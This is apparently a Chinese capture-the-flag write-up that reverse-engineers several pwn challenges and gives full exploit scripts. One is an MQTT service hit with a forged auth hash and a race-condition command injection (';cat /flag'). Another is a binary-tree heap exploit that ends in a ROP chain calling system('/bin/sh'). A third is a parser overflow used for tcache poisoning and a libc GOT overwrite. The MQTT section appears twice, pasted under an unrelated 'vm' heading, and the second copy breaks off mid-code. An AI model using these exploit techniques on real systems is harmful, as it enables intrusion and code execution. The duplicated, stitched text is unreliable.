  v13 = __readfsqword(0x28u);
  v3[0] = 1297371469;
  v3[1] = 1;
  v7 = 0;
  v8 = 0;
  v9 = 0;
  v10 = 0;
  v11 = 0;
  v12 = 0;
  printf("send: %s\n", s);
  s_1 = s;
  v3[2] = strlen(s);
  v5 = 1;
  v6 = 0;
  MQTTClient_publishMessage(qword_5100, "diag/resp", v3, &v2);
  MQTTClient_waitForCompletion(qword_5100, v2, 10000);
  return v13 - __readfsqword(0x28u);
}

2. 初始化 MQTT 消息结构体(关键!)

v3[0] = 1297371469;  // 0x4D515453 -> "MQTS"(小端)
v3[1] = 1;           // struct_version = 1
v7 = 0;              // payload = s(稍后设置)
...
v3[2] = strlen(s);   // payloadlen = 字符串长度
v5 = 1;              // qos = 1(至少一次送达)
v6 = 0;              // retained = false

对应真实的结构体

typedef struct {
    char struct_id[4];     // "MQTS"
    int struct_version;    // 1
    int payloadlen;        // 消息体长度
    void* payload;         // 消息体指针(即 s)
    int qos;               // 服务质量等级
    int retained;          // 是否保留消息
    // ... 其他字段(如 dup, msgid 等)
} MQTTClient_message;

解释一下函数

  • 异步发布一条消息到指定的 MQTT 主题。
  • 将消息放入发送队列后立即返回(不等待服务器确认)。
  • 适用于 QoS 0/1/2 所有服务质量等级。
int MQTTClient_publishMessage(
    MQTTClient handle,
    const char* topicName,
    MQTTClient_message* msg,
    MQTTClient_deliveryToken* token
);
  • 阻塞等待某条已发布消息的投递完成(即收到服务器确认)。
  • 仅对 QoS > 0 的消息有意义(QoS=0 是“发完就忘”,无确认机制)。
int MQTTClient_waitForCompletion(
    MQTTClient handle,
    MQTTClient_deliveryToken token,
    unsigned long timeout
);

流程图如下

然后我们分析一下回调函数

  • *(v5 + 16) → payload(JSON 字符串指针)
  • *(v5 + 8) → payloadlen(长度)
  • 调用 cJSON_ParseWithLength(payload, len) 安全解析 JSON(避免非 null 结尾问题)
typedef struct cJSON {
    struct cJSON *next, *prev;
    struct cJSON *child;
    int type;
    char *valuestring;   // ← 偏移通常是 32 字节(64位系统)
    int valueint;
    double valuedouble;
    char *string;        // key 名称
} cJSON;
  • 创建一个新线程执行 start_routine
  • pthread_detach 表示线程结束后自动回收资源(无需 join)
  • start_routine 极大概率是漏洞触发点!
__int64 __fastcall handle(__int64 a1, __int64 a2, int a3, __int64 a4)
{
  __int64 v5; // [rsp+0h] [rbp-50h] BYREF
  int v6; // [rsp+Ch] [rbp-44h]
  __int64 v7; // [rsp+10h] [rbp-40h]
  __int64 v8; // [rsp+18h] [rbp-38h]
  pthread_t newthread; // [rsp+20h] [rbp-30h] BYREF
  __int64 v10; // [rsp+28h] [rbp-28h]
  char *src; // [rsp+30h] [rbp-20h]
  char *src_1; // [rsp+38h] [rbp-18h]
  char *src_2; // [rsp+40h] [rbp-10h]
  unsigned __int64 v14; // [rsp+48h] [rbp-8h]

  v8 = a1;
  v7 = a2;
  v6 = a3;
  v5 = a4;
  v14 = __readfsqword(0x28u);
  printf("Receive: %s\n", *(const char **)(a4 + 16));
  v10 = cJSON_ParseWithLength(*(_QWORD *)(v5 + 16), *(int *)(v5 + 8));
  if ( v10 )
  {
    src = *(char **)(cJSON_GetObjectItem(v10, "auth") + 32);
    src_1 = *(char **)(cJSON_GetObjectItem(v10, "cmd") + 32);
    src_2 = *(char **)(cJSON_GetObjectItem(v10, "arg") + 32);
    strncpy(s1, src, 0x7Fu);
    strncpy(dest_, src_1, 0x3Fu);
    strncpy(p_src, src_2, 0x7Fu);
    pthread_create(&newthread, 0, start_routine, 0);
    pthread_detach(newthread);
    cJSON_Delete(v10);
    MQTTClient_freeMessage(&v5);
    MQTTClient_free(v7);
  }
  return 1;
}

步骤

说明

1. 设备启动

读取 /mnt/VIN → 存入 content

2. 预计算

(隐式)知道合法 auth = hash(VIN)

3. 收到命令

检查 auth 字段是否匹配 hash(VIN)

4. 通过才执行

防止未授权设备/用户发送指令

这个题目

这个似乎用这两个

sudo apt install -y mosquitto mosquitto-clients

然后我们改一下配置文件

sudo tee /etc/mosquitto/conf.d/9999.conf <<EOF
listener 9999
allow_anonymous true
EOF

然后我们重启一下

sudo systemctl restart mosquitto
ss -tulnp | grep ':9999'
mosquitto -p 9999 -d
-d 表示后台运行。

然后我们运行的程序效果如下

 ⚡ root@ziran-VMware-Virtual-Platform  /home/ziran/Desktop/mqtt  ./pwn
Trying to reconnect to MQTT...
Trying to reconnect to MQTT...
^C
 ✘ ⚡ root@ziran-VMware-Virtual-Platform  /home/ziran/Desktop/mqtt  ./pwn
Init...
send: {"vin":"11111
","status":"status_unavailable"}
^C

脚本

我们先安装这个脚本

pip install paho-mqtt

我们利用的流程

MQTT 消息到达
    ↓
handle() 被回调(由 MQTTClient_setCallbacks 注册)
    ↓
解析 JSON → 提取 auth/cmd/arg → 存入全局变量 s1 / dest_ / p_src
    ↓
pthread_create(start_routine, ...)
    ↓
start_routine() 执行具体命令逻辑(需通过 verify() 认证)

这里是客户端和服务端交互的界面

我们通过这个指令可以进行交互,但是不清楚指令

mosquitto_pub -h 127.0.0.1 -p 9999 -t diag -m '{"auth":"5666fa39","cmd":"get_status","arg":""}'    

这个是我们利用的逻辑

// 在 start_routine 函数中
if ( !strcmp(dest_, "get_version") ) { ... }
else if ( !strcmp(dest_, "get_location") ) { ... }
else {
  if ( strcmp(dest_, "get_tpms") ) {  // 这里只检查了 get_tpms
    if ( !strcmp(dest_, "set_adb") ) { ... }
    else if ( !strcmp(dest_, "set_vin") ) { ... }
    else {
      deal("unknown_command");  // 你收到的错误
    }
  }
  else { /* get_tpms */ }
}
然后经过我们噼里啪啦一顿动调,不断修复有问题的小点,最终也是可以弹flag了

EXP

import paho.mqtt.client as mqtt
import time
from json import dumps
from pwn import *
# ====== 关键配置 ======
broker = '127.0.0.1'       # 服务器IP
port = 9999                   # 服务器端口(必须指定!)
client_id = "python_client"
vin = '123\n'             # 验证信息
def compute_hash(dest: str) -> str:
    v3 = 0
    for ch in dest:
        v3 = (31 * v3 + ord(ch)) & 0xFFFFFFFF  
    return f"{v3:08x}"
auth = compute_hash(vin)
#auth = '00170818'


def on_connect(client, userdata, flags, rc):
    print(f"Connected with result code {rc}")
    client.subscribe("diag/resp")

def on_message(client, userdata, msg):
    print(f"FLAG FOUND: {msg.payload.decode()}")

client = mqtt.Client(client_id)
client.on_connect = on_connect
client.on_message = on_message

#指定端口
client.connect(broker, port, 60)  # 9999端口(不能省略)

#arg必须10+位 (原9位非法)
valid_arg = "1234567890123"  # 10位合法字符串

#先发送合法命令触发sleep
auth = compute_hash(vin)
cmd1 = {
    'auth': auth,
    'cmd': 'set_vin',
    'arg': valid_arg,
}
client.publish('diag', dumps(cmd1))
#pause()
print("Sent first command (valid arg, 10 chars)")

#0.5秒后发送注入命令
time.sleep(0.5)
cmd2 = {
    'auth': auth,
    'cmd': 'set_vin',
    'arg': f"{valid_arg};cat /flag"  # 注入点
}
client.publish('diag', dumps(cmd2))
print("Sent injection command (race condition)")

try:
    print("Waiting for flag (up to 5 seconds)...")
    client.loop_start()
    time.sleep(5)  #等待足够时间获取flag
except KeyboardInterrupt:
    pass
finally:
    client.loop_stop()
    client.disconnect()

FOUR:结构数

  • insert(BstTreeNode **T, int value): 插入新节点到BST
  • midTree(BstTreeNode *T): 中序遍历BST并打印
  • destoryNode(BstTreeNode *T, int val): 删除BST中指定值的节点
  • searchTree(BstTreeNode *T, int val): 在BST中查找指定值的节点
  • editTree(BstTreeNode *T, int val): 编辑BST中指定值的节点

下面这个是用户的操作的额函数

  • editIntroduce(): 编辑管理员的个人介绍
  • showIntroduce(): 显示管理员的个人介绍
  • AdminCheck(BstTreeNode *T): 管理员身份验证
  • creatAdmin(): 创建管理员账户
  • creatUser(): 创建普通用户账户
  • init(): 程序初始化函数
  • menu(): 显示主菜单
  • insertTree(BstTreeNode **T): 插入BST节点

下面这个操作的流程

  1. 初始化阶段:
  • 禁用输入/输出缓冲
  • 创建用户(调用creatUser())
  • 创建初始BST(值为3和2)
  • 显示初始树
  1. 主循环阶段:
  • 显示菜单
  • 根据用户选择执行相应操作:
  • 1: 插入新节点
  • 2: 中序遍历显示树
  • 3: 删除节点
  • 4: 编辑节点
  • 5: 进入管理员模式
  1. 管理员模式:
  • 输入密码验证
  • 验证成功后显示管理员菜单
  • 管理员可以:
  • 编辑个人介绍
  • 查看个人介绍
  • 插入树节点
  • 显示树
  • 删除节点
  • 编辑节点

核心就是我们通过树管理器的工作模式,让右指针清零;清零之后指向的空间不重要。清零之前让申请出来的val最大的堆块使用假的chunk,这个最重要。

然后我们依据这个逻辑泄露出来stack打stack劫持就行

exp如下

from pwn import *

p=process('./pwnNoGot')

e=ELF('./pwnNoGot')

context(arch='amd64', os='linux',log_level='debug')

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def init():
    p.recvuntil('please input your name\n')

    p.sendline('1')

    p.recvuntil('please input your sex\n')
    p.sendline('1')

    p.recvuntil('please input your introduce\n')
    p.sendline('1')

    p.recvuntil('please input your password\n')
    p.sendline('1')


def insert(val):
    p.recvuntil('choice >>\n')
    p.sendline('1')
    p.recvuntil('value?\n')
    p.sendline(str(val))

def midShow():
    p.recvuntil('choice >>\n')
    p.sendline('2')

def destory():
    p.recvuntil('choice >>\n')
    p.sendline('3')

def edit():
    p.recvuntil('choice >>\n')
    p.sendline('4')

def admin():
    p.recvuntil('choice >>\n')
    p.sendline('5')

def adminFree(value):
    p.recvuntil(b'choice\n')
    p.sendline('5')
    p.recvuntil(b'val?\n')
    p.sendline(str(value))

def adminInsert(value):
    p.recvuntil(b'choice\n')
    p.sendline('3')
    p.recvuntil(b'value?\n')
    p.sendline(str(value))

def adminDestory(value):
    p.recvuntil(b'choice\n')
    p.sendline('5')
    p.recvuntil(b"val?\n")
    p.sendline(str(value))

#-------------------------------------------------------------
init()
admin()
p.sendline('1')
for i in range(4,12):
    insert(i)
#################连续调用一大串函数导致的溢出###############
insert(1)
insert(144)
insert(133)
insert(146) #########从这里之后都有溢出
insert(134)
insert(0)
insert(121)
insert(120)
insert(122)
insert(119)
insert(123)
insert(118)
insert(124)
insert(117)
insert(125)
insert(116)
insert(126)
insert(115)
insert(127)
#gdb.attach(p,'b *0x40197A')
#gdb.attach(p,"b *0x4016AB")
#gdb.attach(p,"b *0x4019C5")#0x4016FA
#gdb.attach(p,"b *0x4016FA")
#sleep(2)

#-------------------------------------------------------------
password=p64(0)+p64(0)+p64(0x21)+p64(0x86)+p64(0)+p64(0)+p64(0x21)
password = password.ljust(63,b'\x00')+p64(0x401749)
admin()
p.send(password)
#-------------------------------------------------------------
p.recvuntil(b'choice\n')
p.sendline('2')
p.recv(4)
heap_addr=u64((p.recv(6)).ljust(8,b'\x00'))-0xb30
log.success("heap : "+hex(heap_addr))
#-------------------------------------------------------------
adminFree(121)
adminFree(120)
adminFree(119)
#########通过这里实现的错位#################
#-------------------------------------------------------------
#-------------------------------------------------------------
admin_ptr_addr=0x405060-0x10
payload=p32(0)+p64(0)+p64(0x21)+p64((heap_addr>>12)^admin_ptr_addr)       #一个改堆
p.recvuntil(b'choice\n')
p.sendline('1')
p.send(payload)

############往堆地址里面写入数值#############
#-------------------------------------------------------------
adminInsert(155) #这个是正好到那个位置
adminInsert(156)
adminDestory(11)
adminDestory(10)
###########重新调整一下树结构的顺序###################

adminInsert(0x405050-0xac)        #溢出改栈
#gdb.attach(p,"b *0x401686")
#sleep(2)
#-------------------------------------------------------------
p.recvuntil(b'choice\n')
p.sendline('2')
p.recv(8)
stack=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))#u64(p.recv(6).ljust(8,b'\x00'))
print("stack = ",hex(stack))
#-------------------------------------------------------------
p.recvuntil(b'choice\n')
p.sendline('6')  #edit       #并不是直接影响的
p.recvuntil(b"val?")
p.sendline(str(0x405050-0xac))
p.sendline(str(0x405040-0xac))  #换了一个位置

#-------------------------------------------------------------
p.recvuntil(b'choice\n')
p.sendline('2')
libc.address=u64(p.recv(6).ljust(8,b'\x00'))-0x21b6a0
log.success("libc: "+hex(libc.address))

#-------------------------------------------------------------
adminFree(9)

#-------------------------------------------------------------
bin_sh=0xb00+heap_addr
p.recvuntil(b'choice\n')
p.sendline('6')
p.recvuntil(b"val?")
p.sendline(str(0x405040-0xac))
p.sendline(str(bin_sh-0xac))   #换了一个位置
p.recvuntil(b'choice\n')
p.sendline('1')
p.sendline(p64(stack+0x90-0xac))
#-------------------------------------------------------------
p.recvuntil(b'choice\n')
p.sendline('6')
p.recvuntil(b"val?")
p.sendline(str(bin_sh-0xac))
p.sendline(str(0x405060-0xac))   #换了一个位置
p.recvuntil(b'choice\n')
p.sendline('1')
p.sendline(p64(0xb00+heap_addr))  #这个地址存储了栈地址
#-------------------------------------------------------------
gdb.attach(p,"b *0x401683")
sleep(2)
p.sendline('1')
rop = flat(0x000000000040101a,0x000000000040101a,libc.address+0x000000000002a3e5,next(libc.search(b"/bin/sh\x00")),0x000000000040101a,libc.sym['system'])
p.sendline(rop)
#-------------------------------------------------------------------

p.interactive()

FIVE:myfruitshop

今天来看看这个题目

apple=apple=1

这样之后的话就清晰了这个题目,我们可以利用这个存储算法的逻辑的漏洞来达到任意写的目的

里面有一个循环,是一个数据处理清洗逻辑的

      while ( 1 )
      {
        s2 = dest_1;
        for ( i = 0; dest_1[i] != '=' && dest_1[i] != ':' && dest_1[i]; ++i )
          ;
        if ( !dest_1[i] )
          break;
        if ( dest_1[i] == 58 )
        {
          dest_1 += i + 1;
        }
        else
        {
          dest_1 += i + 1;
          for ( j = 0; dest_1[j] != ':' && dest_1[j]; ++j )
            ;
          for ( n9 = 0; n9 <= 9; ++n9 )
          {
            _Apple_ = strlen(&aApple[32 * n9]); // "Apple"
            if ( !strncmp(&aApple[32 * n9], s2, _Apple_) )// "Apple"
            {
              if ( v10 )
              {
                v2 = v10++;
                dest[v2] = 58;
              }
              _Apple__1 = &aApple[32 * n9];     // "Apple"
              while ( *_Apple__1 )
              {
                v3 = _Apple__1++;
                v4 = v10++;
                dest[v4] = *v3;
              }
              v5 = v10++;
              dest[v5] = '=';
              for ( k = 0; k < j; ++k )
              {
                v6 = v10++;
                dest[v6] = dest_[dest_1 - dest + k];
              }
            }
          }
          if ( dest_1[j] )
            dest_1 += j + 1;
        }
      }

将可能混乱的输入格式(如 "Apple1=5,Banana=3:Orange2=4,Apple=2")标准化为规范格式(如 "Apple=5:Banana=3:Apple=2"),同时过滤掉非法的水果名,确保只有系统认可的水果类型被保存。

这个有点麻烦看起来,让ai简化一下逻辑之后我们运行一下看看这一块的实际的效果

之后我们根据实际运行的效果定义一下交互的逻辑

这里是我们的定义的效果,我们可以通过这个去和程序进行交互

def cmd(choice):
    rt(">")
    sl(str(choice))

def add(content):
    cmd(1)
    rt("This is the fruit and price stocked on day")
    s(content)

def show(idx):
    cmd(2)
    rt("Please enter the day number")
    sl(str(idx))

def edit(idx,content):
    cmd(3)
    rt("which day?")
    sl(str(idx))
    rt("please edit")
    s(content)

为了获得内存级的理解,我们需要去调试一下程序

这个不仅没有free,也没有正常的show功能

unsigned __int64 show()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("Please enter the day number");
  __isoc99_scanf("%llu");
  if ( !heaplist[0] )
  {
    puts("error");
    _exit(0);
  }
  printf("This is the fruit and price stocked on day %d\n", 0);
  puts((const char *)heaplist[0]);
  return v1 - __readfsqword(0x28u);
}

这里有一个既定的水果数组

.data:0000000000004020 aApple          db 'Apple',0            ; DATA XREF: add+356↑o
.data:0000000000004020                                         ; edit+3B2↑o
.data:0000000000004026                 align 20h
.data:0000000000004040 aBanana         db 'Banana',0
.data:0000000000004047                 align 20h
.data:0000000000004060 aOrange         db 'Orange',0
.data:0000000000004067                 align 20h
.data:0000000000004080 aPeach          db 'Peach',0
.data:0000000000004086                 align 20h
.data:00000000000040A0 aWatermelon     db 'Watermelon',0
.data:00000000000040AB                 align 20h
.data:00000000000040C0 aGrape          db 'Grape',0
.data:00000000000040C6                 align 20h
.data:00000000000040E0 aMango          db 'Mango',0
.data:00000000000040E6                 align 20h
.data:0000000000004100 aStrawberry     db 'Strawberry',0
.data:000000000000410B                 align 20h
.data:0000000000004120 aPineapple      db 'Pineapple',0
.data:000000000000412A                 align 20h
.data:0000000000004140 aLemon          db 'Lemon',0
.data:0000000000004146                 align 20h

我们可以利用那个逻辑,然后利用这个

              for ( k = 0; k < j; ++k )
              {
                v6 = v10++;
                data_ptr[v6] = dest_[dest_1 - data_ptr + k];
              }

这里进行溢出,越界修改即可,利用数据进行填空

源码的话差不多是这样的

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// 假设 fruit 结构体定义如下
typedef struct {
    const char *Name;
} fruit;

// 全局变量
char buf[0x2000];
int nread = 0;
char *inputArr[100]; // 存储解析后的 name=value 字符串
char val[0x2000];     // 临时存储 value 部分
size_t size[100];      // 记录每个条目的大小
fruit List[] = {
    {"apple"},
    {"banana"},
    {"orange"},
    // 更多水果...
};

// 主函数或处理函数
void process_input(size_t idx) {
    // 1. 提示用户输入
    puts("Please enter the fruit you want to stock and its price");
    puts("Input format: name=value:name2=value2:......");
    printf("This is the fruit and price stocked on day %d\n", idx);

    // 2. 读取输入
    nread = read(0, buf, 0x2000);
    if (nread < 0) {
        puts("error");
        return;
    }

    // 3. 分配内存存储输入
    char *str = malloc(nread + 1);
    if (!str) {
        puts("error");
        _exit(0);
    }

    // 4. 复制数据到 str 和 val
    memcpy(str, buf, nread);
    str[nread] = '\0';
    memcpy(val, buf, nread);

    // 5. 开始解析
    char *p = str;
    size_t off = 0;

    while (1) {
        char *name = p;           // 当前 name 的起始地址
        size_t len = 0;

        // 找到 name 的结束(遇到 '=' 或 ':' 或 '\0')
        while (p[len] != '=' && p[len] != ':' && p[len] != '\0') {
            len++;
        }

        if (p[len] == '\0') {
            // 表示当前字段是最后一个,但没有 '=' → 错误或不完整
            str[off] = '\0';
            inputArr[idx++] = str;
            memset(val, 0, sizeof(val));
            return;
        }

        // 跳过 name 和 '='
        p += len + 1;             // 移动到 value 开始处
        char *value = &val[p - str]; // value 在 val 中的偏移
        len = 0;

        // 找到 value 的结束(遇到 ':' 或 '\0')
        while (p[len] != ':' && p[len] != '\0') {
            len++;
        }

        // 查找匹配的 fruit 名称
        for (size_t i = 0; i < sizeof(List) / sizeof(fruit); i++) {
            fruit *cur = &List[i];

            if (!strncmp(cur->Name, name, strlen(cur->Name))) {
                // 匹配成功!

                if (off > 0)
                    str[off++] = ':';

                const char *n = cur->Name;
                while (*n != '\0')
                    str[off++] = *n++;

                str[off++] = '=';
                for (size_t j = 0; j < len; j++)
                    str[off++] = value[j];
            }
        }

        // 如果还没到字符串结尾,跳过冒号继续
        if (p[len] != '\0') {
            p += len + 1;
        } else {
            break;
        }
    }

    // 最终设置字符串结束
    str[off] = '\0';
    inputArr[idx++] = str;
    memset(val, 0, sizeof(val));
}

流程的话差不多是这样

1. 用户输入:apple=5.99:banana=3.49
2. 读取到 buf
3. 分配 str 和 val 缓冲区
4. 循环解析:
   - 找到 name(apple)
   - 找到 value(5.99)
   - 在 List 中查找 "apple"
   - 若找到,构建输出:apple=5.99
5. 继续下一个字段
6. 最终将结果存入 inputArr

这里是我们溢出并且把topchunk申请出来

然后我们修改一

libc = ELF('./libc.so.6')
pd=b'Apple =1Orange1=1234567\x41\x0d'        #溢出两个的
add(pd)


pd=b'a'*0x1000
add(pd)


pd=b'Apple =1Orange1=1234'+b'56789012'      #溢出八个的
edit(1,pd)
show(1)


rt(b"012")
rt(b"012")
lib=u64(io.recv(6).ljust(8,b'\x00'))-0x21ace0
log.success("addr : 0x%x"%lib)


pd=b'Apple = Apple=\x00\x00'    ##溢出八个0的
edit(1,pd)


pd=b'Apple =1Orange1=1234567\x21\x0d'        #溢出两个的
edit(1,pd)


pd=b'a'*(0xd20-0x40)
add(pd)


pd=b'Apple =1Orange1=1234567\x41\x0d'        #溢出两个的
add(pd)


add(b'a'*0x2f)
add(b'a'*0xdff)


pd=b'Apple =1Orange1=1234567\x71\x01'        #溢出两个的
add(pd)
edit(7,"enter")


add(b'a'*0xdff)

environ=libc.symbols['environ']+lib
pad=b'Apple =1Orange1=1234'+b'56789012'      #溢出八个的
edit(7,pd)

最后效果如下,修改got表即可

这里最后选择的修改libc中的got表,因为开启了pie,程序基址的got表不好泄露

又因为版本很高,hook也不好打,stack不好去泄露

所以说我们最后选择打got表

from pwn import *
io = process("./pwn")
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
rt = lambda x: io.recvuntil(x)
s  = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
def cmd(choice):
    rt(">")
    sl(str(choice))

def add(content):
    cmd(1)
    rt("This is the fruit and price stocked on day")
    s(content)

def show(idx):
    cmd(2)
    rt("Please enter the day number\n")
    sl(str(idx))

def edit(idx,content):
    cmd(3)
    rt("which day?")
    sl(str(idx))
    rt("please edit")
    s(content)
''''''

libc = ELF('./libc.so.6')
pd=b'Apple =1Orange1=1234567\x41\x0d'        #溢出两个的
# pd=b'a'*0x28
add(pd)
#gdb.attach(io)

pd=b'a'*0x1000
add(pd)



pd=b'Apple =1Orange1=1234'+b'56789012'      #溢出八个的
edit(1,pd)
show(1)

io.recvuntil(b"012")
io.recvuntil(b"012")
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x21ace0
log.success("addr : 0x%x"%libc.address)


pd=b'Apple = Apple=\x00\x00'    ##溢出八个0的
edit(1,pd)

pd=b'Apple =1Orange1=1234567\x21\x0d'        #溢出两个的
# pd=b'a'*0x28
edit(1,pd)


#
pd=b'a'*(0xd20-0x40)
add(pd)



pd=b'Apple =1Orange1=1234567\x41\x0d'        #溢出两个的
# pd=b'a'*0x28
add(pd)


add(b'a'*0x2f)
add(b'a'*0xdff)

pd=b'Apple =1Orange1=1234567\x71\x01'        #溢出两个的

add(pd)
edit(7,"enter")


add(b'a'*0xdff)

environ=libc.symbols['environ']

pd=b'Apple =1Orange1=1234'+b'56789012'      #溢出八个的
edit(7,pd)
show(7)

rt(b"012")
rt(b"012")
heap=u64(io.recv(5).ljust(8,b'\x00'))
heap=heap<<12
heap=heap-0x22000
log.success("heapaddr : 0x%x"%heap)


add(b'a'*0x2f)
add(b'a'*0xfff)

pd=b'Apple =1Orange1=1234567\x71\x01'        #溢出两个的

add(pd)
edit(10,"enter")

add(b'a'*0xdff)

libcgot=0x21A090+libc.address


key=heap+0x44ea0
key=key>>12
pd=b'Apple =1Orange1=123456789'+ p64(libcgot^key) #溢出14个的
edit(11,pd)
gdb.attach(io)
add(b'a'*0x138)
add(p64(libc.address+0xebc88)*6+b'1'*0x108)

io.interactive()

six:vm

id="ub647d192">

可能包含内存地址、flag 片段(如果存在信息泄露)

空或不存在

程序会降级为 "status_unavailable"

然后追溯到这个函数

unsigned __int64 __fastcall sub_1702(const char *s)
{
  unsigned int v2; // [rsp+1Ch] [rbp-54h] BYREF
  _DWORD v3[4]; // [rsp+20h] [rbp-50h] BYREF
  const char *s_1; // [rsp+30h] [rbp-40h]
  int v5; // [rsp+38h] [rbp-38h]
  int v6; // [rsp+3Ch] [rbp-34h]
  int v7; // [rsp+40h] [rbp-30h]
  int v8; // [rsp+44h] [rbp-2Ch]
  int v9; // [rsp+48h] [rbp-28h]
  int v10; // [rsp+4Ch] [rbp-24h]
  int v11; // [rsp+50h] [rbp-20h]
  __int64 v12; // [rsp+58h] [rbp-18h]
  unsigned __int64 v13; // [rsp+68h] [rbp-8h]

  v13 = __readfsqword(0x28u);
  v3[0] = 1297371469;
  v3[1] = 1;
  v7 = 0;
  v8 = 0;
  v9 = 0;
  v10 = 0;
  v11 = 0;
  v12 = 0;
  printf("send: %s\n", s);
  s_1 = s;
  v3[2] = strlen(s);
  v5 = 1;
  v6 = 0;
  MQTTClient_publishMessage(qword_5100, "diag/resp", v3, &v2);
  MQTTClient_waitForCompletion(qword_5100, v2, 10000);
  return v13 - __readfsqword(0x28u);
}

2. 初始化 MQTT 消息结构体(关键!)

v3[0] = 1297371469;  // 0x4D515453 -> "MQTS"(小端)
v3[1] = 1;           // struct_version = 1
v7 = 0;              // payload = s(稍后设置)
...
v3[2] = strlen(s);   // payloadlen = 字符串长度
v5 = 1;              // qos = 1(至少一次送达)
v6 = 0;              // retained = false

对应真实的结构体

typedef struct {
    char struct_id[4];     // "MQTS"
    int struct_version;    // 1
    int payloadlen;        // 消息体长度
    void* payload;         // 消息体指针(即 s)
    int qos;               // 服务质量等级
    int retained;          // 是否保留消息
    // ... 其他字段(如 dup, msgid 等)
} MQTTClient_message;

解释一下函数

  • 异步发布一条消息到指定的 MQTT 主题。
  • 将消息放入发送队列后立即返回(不等待服务器确认)。
  • 适用于 QoS 0/1/2 所有服务质量等级。
int MQTTClient_publishMessage(
    MQTTClient handle,
    const char* topicName,
    MQTTClient_message* msg,
    MQTTClient_deliveryToken* token
);
  • 阻塞等待某条已发布消息的投递完成(即收到服务器确认)。
  • 仅对 QoS > 0 的消息有意义(QoS=0 是“发完就忘”,无确认机制)。
int MQTTClient_waitForCompletion(
    MQTTClient handle,
    MQTTClient_deliveryToken token,
    unsigned long timeout
);

流程图如下

然后我们分析一下回调函数

  • *(v5 + 16) → payload(JSON 字符串指针)
  • *(v5 + 8) → payloadlen(长度)
  • 调用 cJSON_ParseWithLength(payload, len) 安全解析 JSON(避免非 null 结尾问题)
typedef struct cJSON {
    struct cJSON *next, *prev;
    struct cJSON *child;
    int type;
    char *valuestring;   // ← 偏移通常是 32 字节(64位系统)
    int valueint;
    double valuedouble;
    char *string;        // key 名称
} cJSON;
  • 创建一个新线程执行 start_routine
  • pthread_detach 表示线程结束后自动回收资源(无需 join)
  • start_routine 极大概率是漏洞触发点!
__int64 __fastcall handle(__int64 a1, __int64 a2, int a3, __int64 a4)
{
  __int64 v5; // [rsp+0h] [rbp-50h] BYREF
  int v6; // [rsp+Ch] [rbp-44h]
  __int64 v7; // [rsp+10h] [rbp-40h]
  __int64 v8; // [rsp+18h] [rbp-38h]
  pthread_t newthread; // [rsp+20h] [rbp-30h] BYREF
  __int64 v10; // [rsp+28h] [rbp-28h]
  char *src; // [rsp+30h] [rbp-20h]
  char *src_1; // [rsp+38h] [rbp-18h]
  char *src_2; // [rsp+40h] [rbp-10h]
  unsigned __int64 v14; // [rsp+48h] [rbp-8h]

  v8 = a1;
  v7 = a2;
  v6 = a3;
  v5 = a4;
  v14 = __readfsqword(0x28u);
  printf("Receive: %s\n", *(const char **)(a4 + 16));
  v10 = cJSON_ParseWithLength(*(_QWORD *)(v5 + 16), *(int *)(v5 + 8));
  if ( v10 )
  {
    src = *(char **)(cJSON_GetObjectItem(v10, "auth") + 32);
    src_1 = *(char **)(cJSON_GetObjectItem(v10, "cmd") + 32);
    src_2 = *(char **)(cJSON_GetObjectItem(v10, "arg") + 32);
    strncpy(s1, src, 0x7Fu);
    strncpy(dest_, src_1, 0x3Fu);
    strncpy(p_src, src_2, 0x7Fu);
    pthread_create(&newthread, 0, start_routine, 0);
    pthread_detach(newthread);
    cJSON_Delete(v10);
    MQTTClient_freeMessage(&v5);
    MQTTClient_free(v7);
  }
  return 1;
}

步骤

说明

1. 设备启动

读取 /mnt/VIN → 存入 content

2. 预计算

(隐式)知道合法 auth = hash(VIN)

3. 收到命令

检查 auth 字段是否匹配 hash(VIN)

4. 通过才执行

防止未授权设备/用户发送指令

这个题目

这个似乎用这两个

sudo apt install -y mosquitto mosquitto-clients

然后我们改一下配置文件

sudo tee /etc/mosquitto/conf.d/9999.conf <<EOF
listener 9999
allow_anonymous true
EOF

然后我们重启一下

sudo systemctl restart mosquitto
ss -tulnp | grep ':9999'
mosquitto -p 9999 -d
-d 表示后台运行。

然后我们运行的程序效果如下

 ⚡ root@ziran-VMware-Virtual-Platform  /home/ziran/Desktop/mqtt  ./pwn
Trying to reconnect to MQTT...
Trying to reconnect to MQTT...
^C
 ✘ ⚡ root@ziran-VMware-Virtual-Platform  /home/ziran/Desktop/mqtt  ./pwn
Init...
send: {"vin":"11111
","status":"status_unavailable"}
^C

脚本

我们先安装这个脚本

pip install paho-mqtt

我们利用的流程

MQTT 消息到达
    ↓
handle() 被回调(由 MQTTClient_setCallbacks 注册)
    ↓
解析 JSON → 提取 auth/cmd/arg → 存入全局变量 s1 / dest_ / p_src
    ↓
pthread_create(start_routine, ...)
    ↓
start_routine() 执行具体命令逻辑(需通过 verify() 认证)

这里是客户端和服务端交互的界面

我们通过这个指令可以进行交互,但是不清楚指令

mosquitto_pub -h 127.0.0.1 -p 9999 -t diag -m '{"auth":"5666fa39","cmd":"get_status","arg":""}'    

这个是我们利用的逻辑

// 在 start_routine 函数中
if ( !strcmp(dest_, "get_version") ) { ... }
else if ( !strcmp(dest_, "get_location") ) { ... }
else {
  if ( strcmp(dest_, "get_tpms") ) {  // 这里只检查了 get_tpms
    if ( !strcmp(dest_, "set_adb") ) { ... }
    else if ( !strcmp(dest_, "set_vin") ) { ... }
    else {
      deal("unknown_command");  // 你收到的错误
    }
  }
  else { /* get_tpms */ }
}
然后经过我们噼里啪啦一顿动调,不断修复有问题的小点,最终也是可以弹flag了

EXP

import paho.mqtt.client as mqtt
import time
from json import dumps
from pwn import *
# ====== 关键配置 ======
broker = '127.0.0.1'       # 服务器IP
port = 9999                   # 服务器端口(必须指定!)
client_id = "python_client"
vin = '123\n'             # 验证信息
def compute_hash(dest: str) -> str:
    v3 = 0
    for ch in dest:
        v3 = (31 * v3 + ord(ch)) & 0xFFFFFFFF  
    return f"{v3:08x}"
auth = compute_hash(vin)
#auth = '00170818'


def on_connect(client, userdata, flags, rc):
    print(f"Connected with result code {rc}")
    client.subscribe("diag/resp")

def on_message(client, userdata, msg):
